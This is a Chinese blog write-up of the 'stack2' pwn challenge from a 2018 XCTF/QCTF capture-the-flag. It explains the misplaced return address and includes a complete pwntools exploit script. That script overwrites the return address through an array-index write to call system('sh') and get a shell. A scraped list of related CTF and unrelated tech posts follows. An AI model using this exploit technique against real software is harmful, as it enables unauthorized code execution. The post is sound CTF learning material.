Stack2 攻防世界题目分析
---XCTF 4th-QCTF-2018
前言,怎么说呢,这题目还是把我折磨的可以的,我一开始是没有看到后面的直接狙击的,只能说呢。
我的不经意间的粗心,破坏了你许多的温柔
1.气的我直接检查保护:

32位程序,开启了canary保护。
2.ida查看:


首先放的第一幅图片呢,是我一开始以为可以溢出的,也可以看见我旁边标注了一个maybeoverflow。
- 但是是不可以的,因为首先由于这里的 i 最大上限100,可能有的人头铁就要说了,这里v7可以慢慢溢出去修改i,(和我一样)
可是这里v13的存储位置是和i有关的,所以不可能让你能一直溢出,后面看到了canary,我又去找了找格式化漏洞,没有找到,最最最离谱的是:
我居然想着去修改tls字段的canary数值和canary数值(有这个方法,但是这里用不了)
最后看到当我输入3的时候,那里有一个非常明显的定向狙击。
那就很简单了,去开心的写exp,确定 偏移量为74

那就v13[0x74]=???v13[0x75]=???
结果就是失败,为什么呢???
答案是这道题它后面会对栈帧做一定调整,也就是ebp上面一位高地址的地方并不是返回地址,我们这里可以结合着汇编代码看一下

在没有运行结束前,ebp下一位标的返回地址是0xffffd15c,但是我们看看ida里面的代码:



导致跳的返回地址是在ebp的高0x10个字节出,所以我们定向爆破的时候呢,其实狙击的位置是v13[0x84]的地方向上四个字节,所以初步的代码应该是: 不想写了,懒得改了
有人说服务器上没有hackhere那个函数的里面的shell执行器bash,所以要用sh,这里就有个小tips;system('sh')也是可以获得shell的,这样的 话,我们就可以写exp了,我们先去找system@plt表的地址:

我们再去找sh的位置:

这里用第一个,因为第一个字符串参数是有结束符的:
然后就直接写exp吧:(exp默写的别人,因为别人写的确实漂亮):
from pwn import *
p=process('./stack2')
p.recv()
p.sendline('1')
p.recv()
p.sendline('1')
offset=0x84
def leak(offset,value):
p.recvuntil("5. exit\n")
p.sendline('3')
p.recvuntil("which number to change:\n")
p.sendline(str(offset))
p.recvuntil("new number:\n")
p.sendline(str(value))
system = [0x50, 0x84, 0x04, 0x08]
sh=[0x87,0x89,0x04,0x08]
for i in range(4):
leak(offset+i,system[i])
for i in range(4):
leak(offset+8+i,sh[i])
p.recv()
p.sendline('5')
p.interactive()
3.这道题目得到的启发:
- 1.首先呢就是每个地址前面标的地址是就是这个地方最后一位低地址的,也就是我画个图看看

2.学到了system('sh')是可以直接执行获得shell的
4.还没有学到的东西:
- 1.栈转移
- 2.修改stack——fail的got表地址.
- 3.关于修改got表的题目我一道都没有做过32位还有点准备,64位,没有准备
- 4.关于直接同时爆破tls字段的和canary段的数值。
我真垃圾,呜呜呜,居然忘记了32位传递参数中间的返回地址!!!

嘿嘿,放上我的龙!!!
Stack2 攻防世界题目分析的更多相关文章
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界Web新手解析
攻防世界入门的题目 view source 禁用右键,F12审查元素 get post hackbar进行post robots 直接访问robots.txt,发现f1ag_1s_h3re.ph文件, ...
- 记录下做攻防世界的misc题
0x00 记录一下,代表自己做过 0x01 flag_universe 看简介是来自2018年的百越杯. 将文件下载下来后,就一个flag_universe.pcapng文件,wireshark打开. ...
- RSA脚本环境配置-攻防世界-OldDriver
[Crypto] 题目链接 [RSA算法解密] 审题分析 首先拿到一个压缩包,解压得到文件enc.txt. 先不用去管其他,第一眼enc马上联想到 RSA解密.接着往下看 [{"c" ...
- XCTF攻防世界web进阶练习—mfw
XCTF攻防世界web进阶练习-mfw题目为mfw,没有任何提示.直接打开题目,是一个网站 大概浏览一下其中的内容,看到其中url变化其实只是get的参数的变化查看它的源码,看到有一个?page=fl ...
- 攻防世界 Misc 新手练习区 ext3 bugku Writeup
攻防世界 Misc 新手练习区 ext3 bugku Writeup 题目介绍 题目考点 WinHex工具的使用 linux磁盘挂载mount命令 Writeup 下载附件拖进winhex分析一下,查 ...
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
随机推荐
- AspectJ——AOP框架快速入门
一.导包 二.bean.xml配置 三.环绕通知 四,表达式
- Jsoup快速查询
一.selector选择器 二.Xpath查询
- Spring基于XML方式加载Bean定义信息(又名:Spring IOC源码时序图)-图解
- Vue设置全局js/css样式
''' 配置全局js mian.js: import settings from '@/assets/js/settings' Vue.prototype.$settings = settings; ...
- ARM架构安装ubuntu系统
一.简介 arm开发板制作系统是比较麻烦,不论使用busybox还是yocto制作根文件系统对新手都比太友好,除非深度定制,否则使用ubuntu系统既可以满足,把更多的精力放在应用开发上. 二.准备材 ...
- java原码反码补码以及位运算
原码, 反码, 补码的基础概念和计算方法. 对于一个数, 计算机要使用一定的编码方式进行存储. 原码, 反码, 补码是机器存储一个具体数字的编码方式. 1. 原码 原码就是符号位加上真值的绝对值, 即 ...
- Elasticsearch(ES)的高级搜索(DSL搜索)(上篇)
1. 概述 之前聊了一下 Elasticsearch(ES)的基本使用,今天我们聊聊 Elasticsearch(ES)的高级搜索(DSL搜索),由于DSL搜索内容比较多,因此分为两篇文章完成. 2. ...
- Groovy系列(2)- Groovy与Java的不同之处
Groovy与Java的不同之处 默认 imports 所有这些包和类都是默认导入的,不必使用显式import语句来使用它们 java.io.* java.lang.* java.math.BigDe ...
- Spirit带你了解CSS各个方向的居中方案
水平居中和垂直居中的方案 先看HTML的骨架 后面的代码都是基于这个来写的 <!DOCTYPE html> <html lang="en"> <hea ...
- 重启ubuntu系统VMware tools失效处理方法
1) sudo apt-get autoremove open-vm-tools 2) Install VMware Tools by following the usual method (Virt ...